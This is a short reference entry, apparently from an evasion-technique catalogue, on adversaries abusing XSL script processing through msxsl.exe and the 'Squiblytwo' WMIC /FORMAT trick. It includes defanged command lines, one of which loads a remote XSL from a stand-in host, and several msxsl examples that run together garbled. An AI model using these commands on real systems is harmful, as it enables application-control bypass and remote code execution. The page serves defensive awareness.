XSL Script Processing
Created the Tuesday 21 March 2023. Updated 2 months, 2 weeks ago.
Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages.
msxsl.exe customers[.]xml script[.]xsl msxsl.exe script[.]xsl script[.]xsl msxsl.exe script[.]jpeg script[.]jpeg Another variation of this technique, dubbed "Squiblytwo", involves using Windows Management Instrumentation to invoke JScript or VBScript within an XSL file. This technique can also execute local/remote scripts and, similar to its Regsvr32/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in Windows Management Instrumentation provided they utilize the /FORMAT switch. Command-line examples:
Local File: wmic process list /FORMAT:evil[.]xsl Remote File: wmic os get /FORMAT:"https[:]//example[.]com/evil[.]xsl"
The resources provided below are associated links that will give you even more detailed information and research on current evasion technique. It is important to note that, while these resources may be helpful, it is important to exercise caution when following external links. As always, be careful when clicking on links from unknown sources, as they may lead to malicious content.